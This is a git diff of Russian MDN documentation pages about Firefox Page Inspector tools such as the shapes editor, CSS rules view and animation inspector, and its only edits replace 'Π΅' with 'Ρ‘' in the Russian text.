- <li><span id="result_box" lang="ru"><span>НаТатиС Π½Π° Π·Π½Π°Ρ‡ΠΎΠΊ Ρ„ΠΎΡ€ΠΌΡ‹ Π°ΠΊΡ‚ΠΈΠ²ΠΈΡ€ΡƒΠ΅Ρ‚ </span></span> Shapes Path Editor <span lang="ru"><span> ΠΈ Π΄Π°Π΅Ρ‚ Π²Π°ΠΌ Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡ‚ΡŒ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Ρ‰Π°Ρ‚ΡŒ Π»ΡŽΠ±ΡƒΡŽ ΠΈΠ· Ρ‚ΠΎΡ‡Π΅ΠΊ вашСй Ρ„ΠΈΠ³ΡƒΡ€Ρ‹ ΠΌΠ½ΠΎΠ³ΠΎΡƒΠ³ΠΎΠ»ΡŒΠ½ΠΈΠΊΠ°.</span></span></li>
- <li><span id="result_box" lang="ru"><span>Π”Π²Π°ΠΆΠ΄Ρ‹ Ρ‰Π΅Π»ΠΊΠ½ΠΈΡ‚Π΅ Π² любом мСстС Π»ΠΈΠ½ΠΈΠΈ Ρ„ΠΎΡ€ΠΌΡ‹, ΠΈ Π²Ρ‹ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚Π΅ Π½ΠΎΠ²ΡƒΡŽ Ρ‚ΠΎΡ‡ΠΊΡƒ для настройки.</span></span></li>
- <li><span id="result_box" lang="ru"><span>Π”Π²Π°ΠΆΠ΄Ρ‹ Ρ‰Π΅Π»ΠΊΠ½ΠΈΡ‚Π΅ ΠΏΠΎ ΡΡƒΡ‰Π΅ΡΡ‚Π²ΡƒΡŽΡ‰Π΅ΠΉ Ρ‚ΠΎΡ‡ΠΊΠ΅, ΠΈ ΠΎΠ½Π° Π±ΡƒΠ΄Π΅Ρ‚ ΡƒΠ΄Π°Π»Π΅Π½Π°.</span></span> <em>ΠŸΠΎΠΌΠ½ΠΈΡ‚Π΅, Ρ‡Ρ‚ΠΎ ΠΌΠ½ΠΎΠ³ΠΎΡƒΠ³ΠΎΠ»ΡŒΠ½ΠΈΠΊ Π΄ΠΎΠ»ΠΆΠ΅Π½ ΡΠΎΠ΄Π΅Ρ€ΠΆΠ°Ρ‚ΡŒ Π½Π΅ ΠΌΠ΅Π½Π΅Π΅ Ρ‚Ρ€Π΅Ρ… Ρ‚ΠΎΡ‡Π΅ΠΊ.</em></li>
+ <li><span id="result_box" lang="ru"><span>НаТатиС Π½Π° Π·Π½Π°Ρ‡ΠΎΠΊ Ρ„ΠΎΡ€ΠΌΡ‹ Π°ΠΊΡ‚ΠΈΠ²ΠΈΡ€ΡƒΠ΅Ρ‚ </span></span> Shapes Path Editor <span lang="ru"><span> ΠΈ Π΄Π°Ρ‘Ρ‚ Π²Π°ΠΌ Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡ‚ΡŒ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Ρ‰Π°Ρ‚ΡŒ Π»ΡŽΠ±ΡƒΡŽ ΠΈΠ· Ρ‚ΠΎΡ‡Π΅ΠΊ вашСй Ρ„ΠΈΠ³ΡƒΡ€Ρ‹ ΠΌΠ½ΠΎΠ³ΠΎΡƒΠ³ΠΎΠ»ΡŒΠ½ΠΈΠΊΠ°.</span></span></li>
+ <li><span id="result_box" lang="ru"><span>Π”Π²Π°ΠΆΠ΄Ρ‹ Ρ‰Ρ‘Π»ΠΊΠ½ΠΈΡ‚Π΅ Π² любом мСстС Π»ΠΈΠ½ΠΈΠΈ Ρ„ΠΎΡ€ΠΌΡ‹, ΠΈ Π²Ρ‹ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚Π΅ Π½ΠΎΠ²ΡƒΡŽ Ρ‚ΠΎΡ‡ΠΊΡƒ для настройки.</span></span></li>
+ <li><span id="result_box" lang="ru"><span>Π”Π²Π°ΠΆΠ΄Ρ‹ Ρ‰Ρ‘Π»ΠΊΠ½ΠΈΡ‚Π΅ ΠΏΠΎ ΡΡƒΡ‰Π΅ΡΡ‚Π²ΡƒΡŽΡ‰Π΅ΠΉ Ρ‚ΠΎΡ‡ΠΊΠ΅, ΠΈ ΠΎΠ½Π° Π±ΡƒΠ΄Π΅Ρ‚ ΡƒΠ΄Π°Π»Π΅Π½Π°.</span></span> <em>ΠŸΠΎΠΌΠ½ΠΈΡ‚Π΅, Ρ‡Ρ‚ΠΎ ΠΌΠ½ΠΎΠ³ΠΎΡƒΠ³ΠΎΠ»ΡŒΠ½ΠΈΠΊ Π΄ΠΎΠ»ΠΆΠ΅Π½ ΡΠΎΠ΄Π΅Ρ€ΠΆΠ°Ρ‚ΡŒ Π½Π΅ ΠΌΠ΅Π½Π΅Π΅ Ρ‚Ρ€Ρ‘Ρ… Ρ‚ΠΎΡ‡Π΅ΠΊ.</em></li>
</ul>
<p><img alt="" src="https://mdn.mozillademos.org/files/15918/polygon-edit.png" style="height: 660px; width: 1260px;"></p>
<h3 id="ΠŸΠ΅Ρ€Π΅ΠΌΠ΅Ρ‰Π΅Π½ΠΈΠ΅_ΠΈ_ΠΌΠ°ΡΡˆΡ‚Π°Π±ΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠ΅_Ρ„ΠΈΠ³ΡƒΡ€"><span class="short_text" id="result_box" lang="ru"><span>ΠŸΠ΅Ρ€Π΅ΠΌΠ΅Ρ‰Π΅Π½ΠΈΠ΅ ΠΈ ΠΌΠ°ΡΡˆΡ‚Π°Π±ΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠ΅ Ρ„ΠΈΠ³ΡƒΡ€</span></span></h3>
-<p><span id="result_box" lang="ru"><span>Π•ΡΡ‚ΡŒ Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹Π΅ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΎΠ½Π°Π»ΡŒΠ½Ρ‹Π΅ возмоТности, доступныС Π½Π° Π²Ρ‹Π΄Π΅Π»Π΅Π½Π½ΠΎΠΉ Ρ„ΠΈΠ³ΡƒΡ€Π΅ - Ссли Π²Ρ‹ Π½Π°ΠΆΠΌΠ΅Ρ‚Π΅</span></span> <kbd>Ctrl</kbd>/<kbd>Cmd</kbd> + <span id="result_box" lang="ru"><span>Ρ‰Π΅Π»Ρ‡ΠΎΠΊ Π½Π° Π·Π½Π°Ρ‡ΠΎΠΊ Ρ„ΠΈΠ³ΡƒΡ€Ρ‹ для своСй Ρ„ΠΈΠ³ΡƒΡ€Ρ‹, подсвСтка измСнится, вмСсто этого Π±ΡƒΠ΄Π΅Ρ‚ Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡ‚ΡŒ ΠΌΠ°ΡΡˆΡ‚Π°Π±ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ ΠΈ / ΠΈΠ»ΠΈ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Ρ‰Π°Ρ‚ΡŒ Π΅Π΅.</span></span> <span id="result_box" lang="ru"><span>Π•Ρ‰Π΅ Ρ€Π°Π·, ΠΏΡ€ΠΎΠΈΠ·ΠΎΠΉΠ΄Π΅Ρ‚ отсСчСниС, Ссли Π²Ρ‹ прСвыситС Π³Ρ€Π°Π½ΠΈΡ†Ρ‹</span></span> margin box.</p>
+<p><span id="result_box" lang="ru"><span>Π•ΡΡ‚ΡŒ Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹Π΅ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΎΠ½Π°Π»ΡŒΠ½Ρ‹Π΅ возмоТности, доступныС Π½Π° Π²Ρ‹Π΄Π΅Π»Π΅Π½Π½ΠΎΠΉ Ρ„ΠΈΠ³ΡƒΡ€Π΅ - Ссли Π²Ρ‹ Π½Π°ΠΆΠΌΡ‘Ρ‚Π΅</span></span> <kbd>Ctrl</kbd>/<kbd>Cmd</kbd> + <span id="result_box" lang="ru"><span>Ρ‰Π΅Π»Ρ‡ΠΎΠΊ Π½Π° Π·Π½Π°Ρ‡ΠΎΠΊ Ρ„ΠΈΠ³ΡƒΡ€Ρ‹ для своСй Ρ„ΠΈΠ³ΡƒΡ€Ρ‹, подсвСтка измСнится, вмСсто этого Π±ΡƒΠ΄Π΅Ρ‚ Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡ‚ΡŒ ΠΌΠ°ΡΡˆΡ‚Π°Π±ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ ΠΈ / ΠΈΠ»ΠΈ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Ρ‰Π°Ρ‚ΡŒ Π΅Π΅.</span></span> <span id="result_box" lang="ru"><span>Π•Ρ‰Ρ‘ Ρ€Π°Π·, ΠΏΡ€ΠΎΠΈΠ·ΠΎΠΉΠ΄Ρ‘Ρ‚ отсСчСниС, Ссли Π²Ρ‹ прСвыситС Π³Ρ€Π°Π½ΠΈΡ†Ρ‹</span></span> margin box.</p>
<p><img alt="" src="https://mdn.mozillademos.org/files/15924/scaled-circle.png"></p>
-<p>Если ваша Ρ„ΠΎΡ€ΠΌΠ° являСтся ΠΌΠ½ΠΎΠ³ΠΎΡƒΠ³ΠΎΠ»ΡŒΠ½ΠΈΠΊΠΎΠΌ, Π²Ρ‹ Ρ‚Π°ΠΊΠΆΠ΅ ΠΏΠΎΠ»ΡƒΡ‡Π°Π΅Ρ‚Π΅ Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡ‚ΡŒ Π²Ρ€Π°Ρ‰Π°Ρ‚ΡŒ Π΅Π΅ Π²ΠΎΠΊΡ€ΡƒΠ³ оси.</p>
+<p>Если ваша Ρ„ΠΎΡ€ΠΌΠ° являСтся ΠΌΠ½ΠΎΠ³ΠΎΡƒΠ³ΠΎΠ»ΡŒΠ½ΠΈΠΊΠΎΠΌ, Π²Ρ‹ Ρ‚Π°ΠΊΠΆΠ΅ ΠΏΠΎΠ»ΡƒΡ‡Π°Π΅Ρ‚Π΅ Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡ‚ΡŒ Π²Ρ€Π°Ρ‰Π°Ρ‚ΡŒ Π΅Ρ‘ Π²ΠΎΠΊΡ€ΡƒΠ³ оси.</p>
<h2 id="ΠŸΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΊΠ°_Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°"><span class="short_text" id="result_box" lang="ru"><span>ΠŸΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΊΠ° Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°</span></span></h2>
diff --git a/files/ru/tools/page_inspector/how_to/examine_and_edit_css/index.html b/files/ru/tools/page_inspector/how_to/examine_and_edit_css/index.html
index 12eae4fb72..8b8aa492ed 100644
--- a/files/ru/tools/page_inspector/how_to/examine_and_edit_css/index.html
+++ b/files/ru/tools/page_inspector/how_to/examine_and_edit_css/index.html
@@ -15,7 +15,7 @@ translation_of: Tools/Page_Inspector/How_to/Examine_and_edit_CSS
<p>Π’ спискС ΠΏΡ€Π°Π²ΠΈΠ» Ρ‚Π°ΠΊ ΠΆΠ΅ Π±ΡƒΠ΄ΡƒΡ‚ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½Ρ‹ ΠΈ стили Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π° <a href="/en-US/docs/Web/CSS/Cascade">(user-agent styles)</a>, Ссли данная опция выставлСна в настройках ΠΏΠ°Π½Π΅Π»ΠΈ Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠ° <a href="/en-US/docs/Tools/Tools_Toolbox#Settings_2">(developer tool settings)</a>. Π—Π°ΠΌΠ΅Ρ‚ΡŒΡ‚Π΅, эта опция Π½Π΅ зависит ΠΎΡ‚ ΠΎΠΏΡ†ΠΈΠΈ "Browser styles" Π²ΠΊΠ»Π°Π΄ΠΊΠΈ <a href="/en-US/docs/Tools/Page_Inspector/How_to/Examine_and_edit_CSS#Examine_computed_CSS">Computed view</a>.</p>
-<p>Начиная с Firefox 44 ΠΈ Π²Ρ‹ΡˆΠ΅, Π½Π° ΠΏΠ°Π½Π΅Π»Π΅ Rules ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ°ΡŽΡ‚ΡΡ всС авторскиС стили, Π²ΠΊΠ»ΡŽΡ‡Π°Ρ Ρ‚Π΅, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π½Π΅ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°ΡŽΡ‚ΡΡ ΠΈΠ»ΠΈ содСрТат ошибки. Π­Ρ‚ΠΎ ΠΌΠΎΠΆΠ΅Ρ‚ ΠΏΠΎΠΌΠΎΡ‡ΡŒ Π²Π°ΠΌ ΠΏΠΎΠ½ΡΡ‚ΡŒ, ΠΏΠΎΡ‡Π΅ΠΌΡƒ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹Π΅ стили Π½Π΅ ΠΏΡ€ΠΈΠΌΠ΅Π½ΡΡŽΡ‚ΡΡ:</p>
+<p>Начиная с Firefox 44 ΠΈ Π²Ρ‹ΡˆΠ΅, Π½Π° ΠΏΠ°Π½Π΅Π»Π΅ Rules ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ°ΡŽΡ‚ΡΡ всС авторскиС стили, Π²ΠΊΠ»ΡŽΡ‡Π°Ρ Ρ‚Π΅, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π½Π΅ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°ΡŽΡ‚ΡΡ ΠΈΠ»ΠΈ содСрТат ошибки. Π­Ρ‚ΠΎ ΠΌΠΎΠΆΠ΅Ρ‚ ΠΏΠΎΠΌΠΎΡ‡ΡŒ Π²Π°ΠΌ ΠΏΠΎΠ½ΡΡ‚ΡŒ, ΠΏΠΎΡ‡Π΅ΠΌΡƒ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹Π΅ стили Π½Π΅ ΠΏΡ€ΠΈΠΌΠ΅Π½ΡΡŽΡ‚ΡΡ:</p>
<p><img alt="" src="https://mdn.mozillademos.org/files/12189/css-as-authored.png" style="display: block; height: 357px; margin-left: auto; margin-right: auto; width: 588px;"></p>
diff --git a/files/ru/tools/page_inspector/how_to/examine_event_listeners/index.html b/files/ru/tools/page_inspector/how_to/examine_event_listeners/index.html
index 089956c916..86763462f5 100644
--- a/files/ru/tools/page_inspector/how_to/examine_event_listeners/index.html
+++ b/files/ru/tools/page_inspector/how_to/examine_event_listeners/index.html
@@ -15,7 +15,7 @@ original_slug: Tools/Page_Inspector/How_to/Π˜ΡΡΠ»Π΅Π΄ΠΎΠ²Π°Ρ‚ΡŒ_event_listener
<p>НаТмитС Π½Π° ΠΈΠΊΠΎΠ½ΠΊΡƒ, Π·Π°Ρ‚Π΅ΠΌ Π²Ρ‹ ΡƒΠ²ΠΈΠ΄ΠΈΡ‚Π΅ Π²ΡΠΏΠ»Ρ‹Π²Π°ΡŽΡ‰Π΅Π΅ ΠΎΠΊΠ½ΠΎ со списком всСх Event Listeners, связанных с этим элСмСнтом:<img alt="" src="https://mdn.mozillademos.org/files/9953/ev-popup.png" style="display: block; margin-left: auto; margin-right: auto; width: 628px;">КаТдая строка содСрТит:</p>
<ul>
- <li>ΠΊΠ½ΠΎΠΏΠΊΠ° ΠΏΠ°ΡƒΠ·Ρ‹: Ρ‰Π΅Π»ΠΊΠ½ΠΈΡ‚Π΅ Π½Π° Π½Π΅Π΅, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΠ΅Ρ€Π΅ΠΉΡ‚ΠΈ ΠΊ "event Listener" Π² <a href="https://developer.mozilla.org/en-US/docs/Tools/Debugger">ΠžΡ‚Π»Π°Π΄Ρ‡ΠΈΠΊ</a>, Π³Π΄Π΅ Π²Ρ‹ смоТСтС ΡƒΡΡ‚Π°Π½ΠΎΠ²ΠΈΡ‚ΡŒ ΠΊΠΎΠ½Ρ‚Ρ€ΠΎΠ»ΡŒΠ½ΡƒΡŽ Ρ‚ΠΎΡ‡ΠΊΡƒ Π² Π½Π΅ΠΌ</li>
+ <li>ΠΊΠ½ΠΎΠΏΠΊΠ° ΠΏΠ°ΡƒΠ·Ρ‹: Ρ‰Ρ‘Π»ΠΊΠ½ΠΈΡ‚Π΅ Π½Π° Π½Π΅Ρ‘, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΠ΅Ρ€Π΅ΠΉΡ‚ΠΈ ΠΊ "event Listener" Π² <a href="https://developer.mozilla.org/en-US/docs/Tools/Debugger">ΠžΡ‚Π»Π°Π΄Ρ‡ΠΈΠΊ</a>, Π³Π΄Π΅ Π²Ρ‹ смоТСтС ΡƒΡΡ‚Π°Π½ΠΎΠ²ΠΈΡ‚ΡŒ ΠΊΠΎΠ½Ρ‚Ρ€ΠΎΠ»ΡŒΠ½ΡƒΡŽ Ρ‚ΠΎΡ‡ΠΊΡƒ Π² Π½Π΅ΠΌ</li>
<li>Π½Π°Π·Π²Π°Π½ΠΈΠ΅ события</li>
<li>Π½Π°Π·Π²Π°Π½ΠΈΠ΅ ΠΈ Π½ΠΎΠΌΠ΅Ρ€ строки ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠ°: Π½Π°ΠΆΠΌΠΈΡ‚Π΅, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡƒΠ²ΠΈΠ΄Π΅Ρ‚ΡŒ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠ°Β Π²ΠΎ Π²ΡΠΏΠ»Ρ‹Π²Π°ΡŽΡ‰Π΅ΠΌ ΠΎΠΊΠ½Π΅</li>
<li>ΠΌΠ΅Ρ‚ΠΊΠ°, ΡƒΠΊΠ°Π·Ρ‹Π²Π°ΡŽΡ‰Π°Ρ, являСтся Π»ΠΈ событиС Π²ΡΠΏΠ»Ρ‹Π²Π°ΡŽΡ‰ΠΈΠΌ</li>
diff --git a/files/ru/tools/page_inspector/how_to/inspect_and_select_colors/index.html b/files/ru/tools/page_inspector/how_to/inspect_and_select_colors/index.html
index 3b94b74f0f..d5b2bfa5cc 100644
--- a/files/ru/tools/page_inspector/how_to/inspect_and_select_colors/index.html
+++ b/files/ru/tools/page_inspector/how_to/inspect_and_select_colors/index.html
@@ -19,7 +19,7 @@ translation_of: Tools/Page_Inspector/How_to/Inspect_and_select_colors
<p>{{EmbedYouTube("0Zx1TN21QOo", "16:9")}}</p>
-<p>Начиная с Firefox 40, для измСнСния Ρ„ΠΎΡ€ΠΌΠ°Ρ‚Π° отобраТСния Ρ†Π²Π΅Ρ‚Π° Π½Π°Π΄ΠΎ, удСрТивая ΠΊΠ½ΠΎΠΏΠΊΡƒ Shift, Ρ‰Π΅Π»ΠΊΠ½ΡƒΡ‚ΡŒ Π½Π° ΠΎΠ±Ρ€Π°Π·Ρ†Π΅ Ρ†Π²Π΅Ρ‚Π° ΠΊΠ½ΠΎΠΏΠΊΠΎΠΉ ΠΌΡ‹ΡˆΠΈ.</p>
+<p>Начиная с Firefox 40, для измСнСния Ρ„ΠΎΡ€ΠΌΠ°Ρ‚Π° отобраТСния Ρ†Π²Π΅Ρ‚Π° Π½Π°Π΄ΠΎ, удСрТивая ΠΊΠ½ΠΎΠΏΠΊΡƒ Shift, Ρ‰Ρ‘Π»ΠΊΠ½ΡƒΡ‚ΡŒ Π½Π° ΠΎΠ±Ρ€Π°Π·Ρ†Π΅ Ρ†Π²Π΅Ρ‚Π° ΠΊΠ½ΠΎΠΏΠΊΠΎΠΉ ΠΌΡ‹ΡˆΠΈ.</p>
<p>{{EmbedYouTube("gYL8-gxc1MA")}}</p>
diff --git a/files/ru/tools/page_inspector/how_to/work_with_animations/index.html b/files/ru/tools/page_inspector/how_to/work_with_animations/index.html
index d5c3c50b6b..7daa747e12 100644
--- a/files/ru/tools/page_inspector/how_to/work_with_animations/index.html
+++ b/files/ru/tools/page_inspector/how_to/work_with_animations/index.html
@@ -16,7 +16,7 @@ translation_of: Tools/Page_Inspector/How_to/Work_with_animations
<p>Когда Π²Ρ‹ <a href="/en-US/docs/Web/Guide/CSS/Using_CSS_animations">create a CSS animation</a> Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π·Π°Π΄Π°Ρ‚ΡŒ <a href="/en-US/docs/Web/CSS/animation-timing-function">timing function</a>: <span id="result_box" lang="ru"><span>это</span> <span>опрСдСляСт ΡΠΊΠΎΡ€ΠΎΡΡ‚ΡŒ</span><span>, с ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΉ анимация</span> <span>прогрСссируСт</span><span>.</span> <span>Один ΠΈΠ· способов</span> <span>ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΠΈΡ‚ΡŒ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ</span> <span>являСтся синхронизация</span> <span>с кубичСской</span> <span>ΠΊΡ€ΠΈΠ²ΠΎΠΉ Π‘Π΅Π·ΡŒΠ΅</span><span>.</span></span></p>
-<p><span id="result_box" lang="ru"><span>Π’Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹Π΅</span> <span>Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ</span><span>, ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹Π΅ ΠΊΠ°ΠΊ</span> <span>кубичСскиС</span> <span>ΠΊΡ€ΠΈΠ²Ρ‹Π΅</span> <span>Π‘Π΅Π·ΡŒΠ΅</span> <span>ΠΏΠΎΠ»ΡƒΡ‡Π°ΡŽΡ‚</span> <span>Π·Π½Π°Ρ‡ΠΎΠΊ</span> <span>Π² ΠΏΡ€Π°Π²ΠΈΠ»Π°Ρ…</span> <span>просмотра.</span> <span>ΠŸΡ€ΠΈ Π½Π°ΠΆΠ°Ρ‚ΠΈΠΈ Π½Π°</span> <span>ΠΈΠΊΠΎΠ½ΠΊΡƒ</span> <span>Π²Ρ‹ ΠΏΠΎΠ»ΡƒΡ‡Π°Π΅Ρ‚Π΅</span> <span>Π²ΠΈΠ·ΡƒΠ°Π»ΡŒΠ½Ρ‹ΠΉ Ρ€Π΅Π΄Π°ΠΊΡ‚ΠΎΡ€ для</span> <span>ΠΊΡ€ΠΈΠ²ΠΎΠΉ</span><span>, Ρ‡Ρ‚ΠΎ позволяСт</span> <span>ΠΏΠ΅Ρ€Π΅Ρ‚Π°Ρ‰ΠΈΡ‚ΡŒ</span></span> <a href="/en-US/docs/Web/CSS/timing-function#The_cubic-bezier()_class_of_timing-functions">P1 and P2</a>, ΠΈ ΡƒΠ²ΠΈΠ΄Π΅Ρ‚ΡŒ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚ Π½Π° страницС:</p>
+<p><span id="result_box" lang="ru"><span>Π’Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹Π΅</span> <span>Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ</span><span>, ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹Π΅ ΠΊΠ°ΠΊ</span> <span>кубичСскиС</span> <span>ΠΊΡ€ΠΈΠ²Ρ‹Π΅</span> <span>Π‘Π΅Π·ΡŒΠ΅</span> <span>ΠΏΠΎΠ»ΡƒΡ‡Π°ΡŽΡ‚</span> <span>Π·Π½Π°Ρ‡ΠΎΠΊ</span> <span>Π² ΠΏΡ€Π°Π²ΠΈΠ»Π°Ρ…</span> <span>просмотра.</span> <span>ΠŸΡ€ΠΈ Π½Π°ΠΆΠ°Ρ‚ΠΈΠΈ Π½Π°</span> <span>ΠΈΠΊΠΎΠ½ΠΊΡƒ</span> <span>Π²Ρ‹ ΠΏΠΎΠ»ΡƒΡ‡Π°Π΅Ρ‚Π΅</span> <span>Π²ΠΈΠ·ΡƒΠ°Π»ΡŒΠ½Ρ‹ΠΉ Ρ€Π΅Π΄Π°ΠΊΡ‚ΠΎΡ€ для</span> <span>ΠΊΡ€ΠΈΠ²ΠΎΠΉ</span><span>, Ρ‡Ρ‚ΠΎ позволяСт</span> <span>ΠΏΠ΅Ρ€Π΅Ρ‚Π°Ρ‰ΠΈΡ‚ΡŒ</span></span> <a href="/en-US/docs/Web/CSS/timing-function#The_cubic-bezier()_class_of_timing-functions">P1 and P2</a>, ΠΈ ΡƒΠ²ΠΈΠ΄Π΅Ρ‚ΡŒ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚ Π½Π° страницС:</p>
<p>{{EmbedYouTube("GW5-R2ewaqA")}}</p>
@@ -33,21 +33,21 @@ translation_of: Tools/Page_Inspector/How_to/Work_with_animations
<h2 id="Π˜Π½ΡΠΏΠ΅ΠΊΡ‚ΠΎΡ€_Анимации">Π˜Π½ΡΠΏΠ΅ΠΊΡ‚ΠΎΡ€ Анимации</h2>
<div class="note">
-<p><span id="result_box" lang="ru"><span>Π₯отя этот инструмСнт</span> <span>Π±Ρ‹Π» Π²Π²Π΅Π΄Π΅Π½ Π²</span> <span>Firefox</span> <span>41</span><span>,</span> <span>Π΅Π³ΠΎ</span> <span>ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΈΠΉ интСрфСйс</span> <span>Π±Ρ‹Π»</span> <span>ΠΏΠ΅Ρ€Π΅Π΄Π΅Π»Π°Π½</span> <span>Π²</span> <span>Firefox</span> <span>43.</span> <span>Π’ Π΄Π°Π½Π½ΠΎΠΉ ΡΡ‚Π°Ρ‚ΡŒΠ΅ описываСтся</span> <span>инспСктор Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΠΈ</span><span> появившийся Π²</span> <span>Firefox</span> <span>43 ΠΈ</span> <span>ΠΏΠΎΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΡ… выпусках.</span> <span>Если Π²Ρ‹</span> <span>Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ ΡƒΠ²ΠΈΠ΄Π΅Ρ‚ΡŒ, ΠΊΠ°ΠΊ</span> <span>инспСктор Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΠΈ</span> <span>выглядит Π²</span> <span>Firefox</span> <span>41 ΠΈ 42</span> <span>см</span></span> <a href="/en-US/docs/Tools/Page_Inspector/How_to/Work_with_animations/Animation_inspector_(Firefox_41_and_42)">this separate page</a>.</p>
+<p><span id="result_box" lang="ru"><span>Π₯отя этот инструмСнт</span> <span>Π±Ρ‹Π» Π²Π²Π΅Π΄Ρ‘Π½ Π²</span> <span>Firefox</span> <span>41</span><span>,</span> <span>Π΅Π³ΠΎ</span> <span>ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΈΠΉ интСрфСйс</span> <span>Π±Ρ‹Π»</span> <span>ΠΏΠ΅Ρ€Π΅Π΄Π΅Π»Π°Π½</span> <span>Π²</span> <span>Firefox</span> <span>43.</span> <span>Π’ Π΄Π°Π½Π½ΠΎΠΉ ΡΡ‚Π°Ρ‚ΡŒΠ΅ описываСтся</span> <span>инспСктор Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΠΈ</span><span> появившийся Π²</span> <span>Firefox</span> <span>43 ΠΈ</span> <span>ΠΏΠΎΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΡ… выпусках.</span> <span>Если Π²Ρ‹</span> <span>Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ ΡƒΠ²ΠΈΠ΄Π΅Ρ‚ΡŒ, ΠΊΠ°ΠΊ</span> <span>инспСктор Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΠΈ</span> <span>выглядит Π²</span> <span>Firefox</span> <span>41 ΠΈ 42</span> <span>см</span></span> <a href="/en-US/docs/Tools/Page_Inspector/How_to/Work_with_animations/Animation_inspector_(Firefox_41_and_42)">this separate page</a>.</p>
</div>
<p>Из Firefox 41, Π˜Π½ΡΠΏΠ΅ΠΊΡ‚ΠΎΡ€ страниц Π²ΠΊΠ»ΡŽΡ‡ΠΈΠ» Π² сСбя <a href="/en-US/docs/Tools/Page_Inspector/UI_Tour#Animations_view">extra view labeled "Animations"</a>.</p>
<p>Β Π­Ρ‚ΠΎΡ‚ Π²ΠΈΠ΄ <span id="result_box" lang="ru"><span>ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ°Π΅Ρ‚ ΠΊΠ°ΠΊ</span> <span>CSS</span> <span>ΠΏΠ΅Ρ€Π΅Ρ…ΠΎΠ΄Ρ‹ ΠΈ</span> <span>CSS</span> <span>Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΠΈ</span> <span>синхронизированы</span> <span>ΠΏΠΎ</span> <span>шкалС Π²Ρ€Π΅ΠΌΠ΅Π½ΠΈ</span><span>,</span> <span>пСрСтаскивая</span> <span>Π²ΠΈΠ΄ΠΆΠ΅Ρ‚ Π²Ρ‹</span> <span>ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ для</span> <span>пСрСмСщСния Π»ΡŽΠ±ΡƒΡŽ Ρ‚ΠΎΡ‡ΠΊΡƒ</span> <span>Π½Π° Π²Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎΠΉ шкалС</span> <span>ΠΈ 